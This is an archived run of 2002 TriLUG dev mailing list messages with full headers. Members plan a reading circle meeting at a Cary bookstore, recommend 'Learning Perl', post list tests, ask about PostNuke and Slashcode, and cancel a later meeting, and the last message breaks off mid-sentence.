dev@trilug.org Subject: Re: [Dev] Reading Circle Meeting Message-ID: <20020322210956.GA24710@rcfile.org> References: <992A93E6-3DD6-11D6-8588-0003938CBDBC@nc.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <992A93E6-3DD6-11D6-8588-0003938CBDBC@nc.rr.com> User-Agent: Mutt/1.3.28i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #20: Thu Mar 14 01:08:34 EST 2002 root@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-03-22 15:51] Bill Vinson said: | Are we meeting tomorrow? | | If so, where at? Is it the conference room or the outdoor facility? :) I can (and will) get the conference room. Sorry for missing last meeting, I had some work drag me down that weekend :-( You guys decide where we're meeting, and I'll be there, although I'm probably a bit behind in the reading task... cheers. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From matthew.todd@alumni.duke.edu Fri Mar 22 16:11:05 2002 Received: from wilson.acpub.duke.edu (wilson.acpub.duke.edu [152.3.233.69]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id QAA02591 for ; Fri, 22 Mar 2002 16:11:05 -0500 Received: from oemcomputer (user-10-58.wireless.duke.edu [152.16.10.58]) by wilson.acpub.duke.edu (8.11.5/8.11.3/Duke-5.0.0) with SMTP id g2MLCxe28920; Fri, 22 Mar 2002 16:12:59 -0500 (EST) Message-ID: <004701c1d1e6$636aa020$3a0a1098@wireless.duke.edu> From: "Matthew Todd" To: References: <992A93E6-3DD6-11D6-8588-0003938CBDBC@nc.rr.com> Subject: Re: [Dev] Reading Circle Meeting Date: Fri, 22 Mar 2002 16:13:17 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Virus-Scanned: by amavisd-milter, Duke University (http://amavis.org/) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Mike wrote: > How about a book store with a coffee shop attached? How about a coffee > shop with no bookstore attached? +1 Any ideas? (I don't know Raleigh too well.) ----- Original Message ----- From: "M. Mueller at Signalnetware.com" To: Sent: Friday, March 22, 2002 3:57 PM Subject: Re: [Dev] Reading Circle Meeting > On Friday 22 March 2002 03:51 pm, you wrote: > > Are we meeting tomorrow? > > > > If so, where at? Is it the conference room or the outdoor facility? :) > > > > Bill > > > Too cold for outside facility. B-r-r-r-r. > > How about a book store with a coffee shop attached? How about a coffe shop > with no bookstore attached? > > -- > Michael Mueller > Signalnetware, Inc. > www.signalnetware.com > 919.621.6090 > Converged network solutions using open source tools > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev > > > From billvinson@nc.rr.com Fri Mar 22 17:09:16 2002 Received: from mail4.nc.rr.com (fe4.southeast.rr.com [24.93.67.51]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id RAA02930 for ; Fri, 22 Mar 2002 17:09:16 -0500 Received: from localhost ([66.26.236.160]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 22 Mar 2002 17:11:42 -0500 Date: Fri, 22 Mar 2002 17:11:11 -0500 Subject: Re: [Dev] Reading Circle Meeting Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v481) From: Bill Vinson To: dev@trilug.org Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.481) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Well, we have a nice large barnes & noble here in Cary... Could probably get a section if we tried... Bill On Friday, March 22, 2002, at 03:57 PM, M. Mueller at Signalnetware.com wrote: > Too cold for outside facility. B-r-r-r-r. > > How about a book store with a coffee shop attached? How about a coffe > shop > with no bookstore attached? From billvinson@nc.rr.com Fri Mar 22 17:34:39 2002 Received: from mail7.nc.rr.com (fe7.southeast.rr.com [24.93.67.54]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id RAA03062 for ; Fri, 22 Mar 2002 17:34:39 -0500 Received: from localhost ([66.26.236.160]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 22 Mar 2002 17:36:16 -0500 Date: Fri, 22 Mar 2002 17:36:16 -0500 Subject: Re: [Dev] Reading Circle Meeting Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v481) From: Bill Vinson To: dev@trilug.org Content-Transfer-Encoding: 7bit In-Reply-To: <20020322210956.GA24710@rcfile.org> Message-Id: <38E260BC-3DE5-11D6-8588-0003938CBDBC@nc.rr.com> X-Mailer: Apple Mail (2.481) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Friday, March 22, 2002, at 04:09 PM, Brent Verner wrote: > I can (and will) get the conference room. Sorry for missing last > meeting, I had some work drag me down that weekend :-( You guys > decide where we're meeting, and I'll be there, although I'm probably > a bit behind in the reading task... Probably not too behind. We went very slowly last meeting (which was good for me). Didn't get through much of part 1, but we got a lot of interesting conversations going. Which, I think, is much more useful as we can discuss real world relevance and make the meetings on topic and relevant. I look forward to tomorrow... Bill From mmueller@signalnetware.com Fri Mar 22 23:16:37 2002 Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id XAA04738 for ; Fri, 22 Mar 2002 23:16:36 -0500 Received: from user-2ivf486.dsl.mindspring.com ([165.247.145.6] helo=there) by mclean.mail.mindspring.net with smtp (Exim 3.33 #1) id 16ocz9-0005ol-00 for dev@trilug.org; Fri, 22 Mar 2002 23:18:31 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller at Signalnetware.com" Organization: Signalnetware, Inc. To: dev@trilug.org Subject: Re: [Dev] Reading Circle Meeting Date: Fri, 22 Mar 2002 23:11:56 -0500 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Friday 22 March 2002 05:11 pm, you wrote: > Well, we have a nice large barnes & noble here in Cary... Could > probably get a section if we tried... Let's try it. Is that the one across from the Mall? Mike From billvinson@nc.rr.com Fri Mar 22 23:25:37 2002 Received: from mail8.nc.rr.com (fe8.southeast.rr.com [24.93.67.55]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id XAA04794 for ; Fri, 22 Mar 2002 23:25:37 -0500 Received: from localhost ([66.26.236.160]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 22 Mar 2002 23:27:31 -0500 Date: Fri, 22 Mar 2002 23:27:24 -0500 Subject: Re: [Dev] Reading Circle Meeting Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v481) From: Bill Vinson To: dev@trilug.org Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <467694C9-3E16-11D6-BEF6-0003938CBDBC@nc.rr.com> X-Mailer: Apple Mail (2.481) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Yes it is. Across from Cary Town Center and in the same complex as Kinko's, On The Border, and Marcaroni Grill. 1PM again? I will see if I can show up a little early and grab some seats. Do we want to sit in the coffee shop area in the center or in the back corner where the sofa seats are? Bill On Friday, March 22, 2002, at 11:11 PM, M. Mueller at Signalnetware.com wrote: > On Friday 22 March 2002 05:11 pm, you wrote: >> Well, we have a nice large barnes & noble here in Cary... Could >> probably get a section if we tried... > > Let's try it. Is that the one across from the Mall? > > Mike > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev > From mmueller@signalnetware.com Sat Mar 23 10:27:34 2002 Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id KAA07823 for ; Sat, 23 Mar 2002 10:27:34 -0500 Received: from user-2ivf2vq.dsl.mindspring.com ([165.247.139.250] helo=there) by maynard.mail.mindspring.net with smtp (Exim 3.33 #1) id 16onSJ-0001ZT-00 for dev@trilug.org; Sat, 23 Mar 2002 10:29:19 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller at Signalnetware.com" Organization: Signalnetware, Inc. To: dev@trilug.org Subject: Re: [Dev] Reading Circle Meeting Date: Sat, 23 Mar 2002 10:22:47 -0500 X-Mailer: KMail [version 1.3.1] References: <467694C9-3E16-11D6-BEF6-0003938CBDBC@nc.rr.com> In-Reply-To: <467694C9-3E16-11D6-BEF6-0003938CBDBC@nc.rr.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: 1pm is good. Grab either space that's available. Thanks. Mike On Friday 22 March 2002 11:27 pm, you wrote: > Yes it is. Across from Cary Town Center and in the same complex as > Kinko's, On The Border, and Marcaroni Grill. > > 1PM again? I will see if I can show up a little early and grab some > seats. Do we want to sit in the coffee shop area in the center or in > the back corner where the sofa seats are? > > Bill > From brent@mutt.rcfile.org Sat Mar 23 10:47:50 2002 Received: from habanero.hesketh.net (habanero.hesketh.net [66.45.6.196]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id KAA07956 for ; Sat, 23 Mar 2002 10:47:50 -0500 Received: from mutt.rcfile.org (root@rdu57-226-247.nc.rr.com [66.57.226.247]) by habanero.hesketh.net (8.11.6/8.11.1) with ESMTP id g2NFnhJ02198 for ; Sat, 23 Mar 2002 10:49:43 -0500 X-Received-From: brent@mutt.rcfile.org X-Delivered-To: X-Spam-Filter: check_local@habanero.hesketh.net by digitalanswers.org X-More-Information: http://spamfighter.hesketh.net Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g2NFnmg34567 for dev@trilug.org; Sat, 23 Mar 2002 10:49:48 -0500 (EST) (envelope-from brent) Date: Sat, 23 Mar 2002 10:49:47 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Reading Circle Meeting Message-ID: <20020323154947.GA34485@rcfile.org> References: <467694C9-3E16-11D6-BEF6-0003938CBDBC@nc.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <467694C9-3E16-11D6-BEF6-0003938CBDBC@nc.rr.com> User-Agent: Mutt/1.3.28i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #20: Thu Mar 14 01:08:34 EST 2002 root@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-03-22 23:27] Bill Vinson said: | Yes it is. Across from Cary Town Center and in the same complex as | Kinko's, On The Border, and Marcaroni Grill. I'll see you all there. | 1PM again? I will see if I can show up a little early and grab some | seats. Do we want to sit in the coffee shop area in the center or in | the back corner where the sofa seats are? b -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From chris@yonderway.com Mon Mar 25 13:42:45 2002 Received: from goldenrod.propagation.net (goldenrod.propagation.net [63.249.161.1]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA29235 for ; Mon, 25 Mar 2002 13:42:44 -0500 Received: from yonderway.com (localhost [127.0.0.1]) by goldenrod.propagation.net (8.8.5/8.8.5) with SMTP id MAA10706 for ; Mon, 25 Mar 2002 12:43:35 -0600 Received: from 198.232.70.10 (SquirrelMail authenticated user chris) by www.yonderway.com with HTTP; Mon, 25 Mar 2002 12:43:35 -0600 (CST) Message-ID: <49393.198.232.70.10.1017081815.squirrel@www.yonderway.com> Date: Mon, 25 Mar 2002 12:43:35 -0600 (CST) From: "Chris Hedemark" To: In-Reply-To: <4356058381ECB8498BB30B34D7AE3AEF02858225@rtints5.rti.org> References: <4356058381ECB8498BB30B34D7AE3AEF02858225@rtints5.rti.org> X-Priority: 3 Importance: Normal X-MSMail-Priority: Normal X-Mailer: SquirrelMail (version 1.2.4) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [Dev] Re: [TriLUG] OT: Perl question Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > I have been asked if I can learn Perl to support a project, Windoze and > *nix based. What are some good resources to learn it fairly quickly? I > have a C, C++, BASIC, VB background. Learning perl is cake. The first must-have book is "Learning Perl" (its one of the OReilly books). If you read that one cover to cover and do the exercises you'll have most of the important stuff down. The official perl web site has a lot of tutorials available for free as well. Depending on what kind of project you are working on, there are some other sources focusing on things like DBI (the very excellent perl interface to almost every RDBMS known to man), or taking advantage of Windows features like COM. If you can tell us a little more about what you're trying to do I can point you to some more specific advanced resources. If you can grok C or C++, perl will be a walk in the park. From rvestal@rti.org Mon Mar 25 13:55:06 2002 Received: from rtints5.rti.org (rtints5.rti.org [152.5.129.55]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA29442 for ; Mon, 25 Mar 2002 13:55:06 -0500 Received: by rtints5.rti.org with Internet Mail Service (5.5.2653.19) id ; Mon, 25 Mar 2002 13:56:30 -0500 Message-ID: <4356058381ECB8498BB30B34D7AE3AEF0285822C@rtints5.rti.org> From: "Vestal, Roy L." To: "'dev@trilug.org'" Date: Mon, 25 Mar 2002 13:56:23 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [Dev] Subscribe Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I hope this is right. From mmueller@signalnetware.com Mon Mar 25 14:16:45 2002 Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id OAA29711 for ; Mon, 25 Mar 2002 14:16:45 -0500 Received: from user-2ivf2vq.dsl.mindspring.com ([165.247.139.250] helo=there) by maynard.mail.mindspring.net with smtp (Exim 3.33 #1) id 16pZz1-0004G1-00 for dev@trilug.org; Mon, 25 Mar 2002 14:18:19 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller at Signalnetware.com" Organization: Signalnetware, Inc. To: dev@trilug.org Subject: Re: [Dev] Subscribe Date: Mon, 25 Mar 2002 14:11:34 -0500 X-Mailer: KMail [version 1.3.1] References: <4356058381ECB8498BB30B34D7AE3AEF0285822C@rtints5.rti.org> In-Reply-To: <4356058381ECB8498BB30B34D7AE3AEF0285822C@rtints5.rti.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Monday 25 March 2002 01:56 pm, you wrote: > I hope this is right. It is if you wanted dev. -- Michael Mueller Signalnetware, Inc. www.signalnetware.com 919.621.6090 Converged network solutions using open source tools From chris@yonderway.com Thu Apr 4 17:20:57 2002 Received: from smtp.easternrad.priv (user153.net135.nc.sprint-hsd.net [63.162.201.153]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id RAA17982 for ; Thu, 4 Apr 2002 17:20:57 -0500 Received: from there (worf.easternrad.priv [192.168.10.110]) by smtp.easternrad.priv (Postfix) with SMTP id 3FC0F68002 for ; Thu, 4 Apr 2002 17:22:18 -0500 (EST) Content-Type: text/plain; charset="iso-8859-15" From: Chris Hedemark Organization: http://yonderway.com To: dev@trilug.org Date: Thu, 4 Apr 2002 17:22:18 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <20020404222218.3FC0F68002@smtp.easternrad.priv> Subject: [Dev] test - ignore Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: -- Chris Hedemark Yonder Way http://yonderway.com From chris@yonderway.com Thu Apr 4 17:25:29 2002 Received: from smtp.easternrad.priv (user153.net135.nc.sprint-hsd.net [63.162.201.153]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id RAA19019 for ; Thu, 4 Apr 2002 17:25:29 -0500 Received: from there (worf.easternrad.priv [192.168.10.110]) by smtp.easternrad.priv (Postfix) with SMTP id A99A368002 for ; Thu, 4 Apr 2002 17:26:49 -0500 (EST) Content-Type: text/plain; charset="iso-8859-15" From: Chris Hedemark Organization: http://yonderway.com To: dev@trilug.org Subject: Re: [Dev] test again - ignore again Date: Thu, 4 Apr 2002 17:26:49 -0500 X-Mailer: KMail [version 1.3.1] References: <20020404222218.3FC0F68002@smtp.easternrad.priv> In-Reply-To: <20020404222218.3FC0F68002@smtp.easternrad.priv> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <20020404222649.A99A368002@smtp.easternrad.priv> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Aaaaand.... -- Chris Hedemark Yonder Way http://yonderway.com From jdturner@home.nc.rr.com Thu Apr 4 17:30:01 2002 Received: from home.nc.rr.com (rdu26-228-152.nc.rr.com [66.26.228.152]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id RAA19079 for ; Thu, 4 Apr 2002 17:30:01 -0500 Received: (from jdturner@localhost) by home.nc.rr.com (8.11.6/8.11.6) id g34MXmk12794 for dev@trilug.org; Thu, 4 Apr 2002 17:33:48 -0500 Date: Thu, 4 Apr 2002 17:33:48 -0500 From: John Turner To: dev@trilug.org Message-ID: <20020404173348.A12791@harp.myhome.nc.rr.com> References: <20020404222218.3FC0F68002@smtp.easternrad.priv> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020404222218.3FC0F68002@smtp.easternrad.priv>; from chris@yonderway.com on Thu, Apr 04, 2002 at 05:22:18PM -0500 Subject: [Dev] Anyone runing a Slash or Nuke site? Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org X-Reply-To: jdturner@nc.rr.com List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I have been looking at using either Slashcode or PostNuke for part of a web site I am developing. John From chris@yonderway.com Thu Apr 4 17:34:46 2002 Received: from smtp.easternrad.priv (user153.net135.nc.sprint-hsd.net [63.162.201.153]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id RAA19116 for ; Thu, 4 Apr 2002 17:34:45 -0500 Received: from there (worf.easternrad.priv [192.168.10.110]) by smtp.easternrad.priv (Postfix) with SMTP id 98BE468002 for ; Thu, 4 Apr 2002 17:36:06 -0500 (EST) Content-Type: text/plain; charset="iso-8859-1" From: Chris Hedemark Organization: http://yonderway.com To: dev@trilug.org Subject: Re: [Dev] Anyone runing a Slash or Nuke site? Date: Thu, 4 Apr 2002 17:36:06 -0500 X-Mailer: KMail [version 1.3.1] References: <20020404222218.3FC0F68002@smtp.easternrad.priv> <20020404173348.A12791@harp.myhome.nc.rr.com> In-Reply-To: <20020404173348.A12791@harp.myhome.nc.rr.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <20020404223606.98BE468002@smtp.easternrad.priv> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thursday 04 April 2002 05:33 pm, you wrote: > I have been looking at using either Slashcode or PostNuke > for part of a web site I am developing. I'm running PostNuke. http://yonderway.com -- Chris Hedemark Yonder Way http://yonderway.com From matthew.todd@alumni.duke.edu Fri Apr 5 00:11:46 2002 Received: from wilson.acpub.duke.edu (wilson.acpub.duke.edu [152.3.233.69]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id AAA21229 for ; Fri, 5 Apr 2002 00:11:46 -0500 Received: from oemcomputer (user-152-16-72-128.adsl.duke.edu [152.16.72.128]) by wilson.acpub.duke.edu (8.11.5/8.11.3/Duke-5.0.0) with SMTP id g355Dae10361; Fri, 5 Apr 2002 00:13:36 -0500 (EST) Message-ID: <059001c1dc60$a1cfb600$9200a8c0@adsl.duke.edu> From: "Matthew Todd" To: Date: Fri, 5 Apr 2002 00:13:32 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Virus-Scanned: by amavisd-milter, Duke University (http://amavis.org/) Subject: [Dev] 4/6 reading circle: can't make it Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hey guys, I'll be gone this weekend, so I'll miss the reading circle meeting. Could y'all fill me in on what you cover? Thanks, Matthew From mmueller@signalnetware.com Sat Apr 6 06:31:29 2002 Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id GAA31417 for ; Sat, 6 Apr 2002 06:31:29 -0500 Received: from user-2ivf4es.dsl.mindspring.com ([165.247.145.220] helo=there) by barry.mail.mindspring.net with smtp (Exim 3.33 #1) id 16toRX-0004wF-00 for dev@trilug.org; Sat, 06 Apr 2002 06:33:15 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller" Organization: Signalnetware, Inc. To: dev@trilug.org Subject: Re: [Dev] 4/6 reading circle: can't make it Date: Sat, 6 Apr 2002 06:25:19 -0500 X-Mailer: KMail [version 1.3.1] References: <059001c1dc60$a1cfb600$9200a8c0@adsl.duke.edu> In-Reply-To: <059001c1dc60$a1cfb600$9200a8c0@adsl.duke.edu> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Friday 05 April 2002 12:13 am, you wrote: > Hey guys, > > I'll be gone this weekend, so I'll miss the reading circle meeting. > Could y'all fill me in on what you cover? I've got a monstrous work load right now. I gotta bail too. I actually read the book before the meeting this time too. -- Michael Mueller Signalnetware, Inc. www.signalnetware.com 919.621.6090 From brent@mutt.rcfile.org Sat Apr 6 10:06:42 2002 Received: from habanero.hesketh.net (habanero.hesketh.net [66.45.6.196]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id KAA32335 for ; Sat, 6 Apr 2002 10:06:42 -0500 Received: from mutt.rcfile.org (rdu57-226-247.nc.rr.com [66.57.226.247]) by habanero.hesketh.net (8.11.6/8.11.1) with ESMTP id g36F8TJ19349 for ; Sat, 6 Apr 2002 10:08:30 -0500 X-Received-From: brent@mutt.rcfile.org X-Delivered-To: X-Spam-Filter: check_local@habanero.hesketh.net by digitalanswers.org X-More-Information: http://spamfighter.hesketh.net Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g36F8Yu84974 for dev@trilug.org; Sat, 6 Apr 2002 10:08:34 -0500 (EST) (envelope-from brent) Date: Sat, 6 Apr 2002 10:08:34 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] 4/6 reading circle: can't make it Message-ID: <20020406150834.GA84766@rcfile.org> References: <059001c1dc60$a1cfb600$9200a8c0@adsl.duke.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #21: Sat Mar 23 12:02:54 EST 2002 root@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-04-06 06:25] M. Mueller said: | On Friday 05 April 2002 12:13 am, you wrote: | > Hey guys, | > | > I'll be gone this weekend, so I'll miss the reading circle meeting. | > Could y'all fill me in on what you cover? | | I've got a monstrous work load right now. I gotta bail too. I know this feeling. I'm wading through 12 days worth of neglected personal email and mailing list traffic right now, so I probably shouldn't make the meeting either. :-( brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From mindcrime@cpphacker.co.uk Sat Apr 6 11:14:09 2002 Received: from scaup.prod.itd.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA00331 for ; Sat, 6 Apr 2002 11:14:08 -0500 Received: from user-2ivf45f.dialup.mindspring.com ([165.247.144.175] helo=calliope) by scaup.prod.itd.earthlink.net with smtp (Exim 3.33 #1) id 16tsr3-0006Wt-00 for dev@trilug.org; Sat, 06 Apr 2002 08:15:53 -0800 Message-ID: <002301c1dd85$7a37ca30$de01a8c0@calliope> From: "Phillip Rhodes" To: References: <059001c1dc60$a1cfb600$9200a8c0@adsl.duke.edu> <20020406150834.GA84766@rcfile.org> Subject: Re: [Dev] 4/6 reading circle: can't make it Date: Sat, 6 Apr 2002 11:09:48 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: ----- Original Message ----- From: "Brent Verner" To: Sent: Saturday, April 06, 2002 10:08 AM Subject: Re: [Dev] 4/6 reading circle: can't make it > I know this feeling. I'm wading through 12 days worth of neglected > personal email and mailing list traffic right now, so I probably > shouldn't make the meeting either. :-( > Looks like about 3 of us have had to beg-off from today's meeting for one reason or another... do the rest of you want to just call today's 